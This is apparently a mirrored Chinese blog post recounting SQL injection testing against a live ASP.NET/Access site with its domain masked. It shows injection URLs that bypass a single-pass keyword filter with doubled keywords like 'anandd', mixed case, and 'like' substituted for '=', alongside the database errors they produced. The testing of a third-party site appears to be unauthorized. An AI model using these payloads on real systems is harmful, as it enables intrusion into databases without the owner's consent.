zoukankan      html  css  js  c++  java
  • 过滤'and','or' ''' '*' '=' ‘select’下的注入

    遇到一个站:http://www.马赛克.net/intro.aspx?id=6

    加了单引号  http://www.马赛克.net/intro.aspx?id=6‘  页面无变化

    加了双引号   http://www.马赛克.net/intro.aspx?id=6"  报错

    符串的语法错误 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6" ) order by id_sort' 中。

    可以看到  注入点 在()中

    测试   and 1=1     and 1=2   or 1=1   报错

    语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6  11 )' 中

    可以看到   and  or  = 等关键字 被”吃掉了“

    经测试  并没有进行循环查找过滤 and or 等字符

    绕后方法   anandd   oror     And(大小写)

    http://www.马赛克.net/intro.aspx?id=6 anandd 1=1  返回正常

    http://www.马赛克.net/intro.aspx?id=6 anandd 1=2  返回也正常

    因为知道 = 也被“吃掉”了  所以用 'like' 代替

    http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 1  返回正常

    http://www.马赛克.net/intro.aspx?id=6 anandd 1 like 2  返回也正常

    --------------------

    http://www.马赛克.net/intro.aspx?id=6 anandd  exists(select id from sysobjects)   报错  select 也被“吃掉”了

    语法错误。 在查询表达式 'intro_type=(select intro_type from  tab_intro_info where id=6 and exists( id from sysobjects) )' 中。

    紧接着,我在在数据库版本上花了很多时间   第一直觉认为是 aspx + mssql 组合

    然后在绕过语句上测试了很多,无法绕后,后来从猜测数据库类型开始猜    得出结论是 access数据库

    --------------------

    知道了绕过方法,和数据库类型,剩下的就是猜数据了,不过由于字典不给力  并未猜出任何表(除了报错时显示的“tab_intro_info”),任何数据

    由于表的组合比较变态  tab_intro_info 也就没有继续猜下去

  • 相关阅读:
    去过的论坛重新注册了
    for … in … 语句的使用
    删除整个目录
    使用Live Writer测试 1
    Google ProtocolBuffer.net简介与使用
    linq to sql 系列之 linq to sql性能优化技巧
    单元测试之道(使用NUnit)
    提高软件测试能力的19条建议
    System.Runtime.Caching;
    EneityFramework+DomainDataSource+Silverlight完成数据读取分页排序与修改
  • 原文地址:https://www.cnblogs.com/mrhonest/p/9253406.html
Copyright © 2011-2022 走看看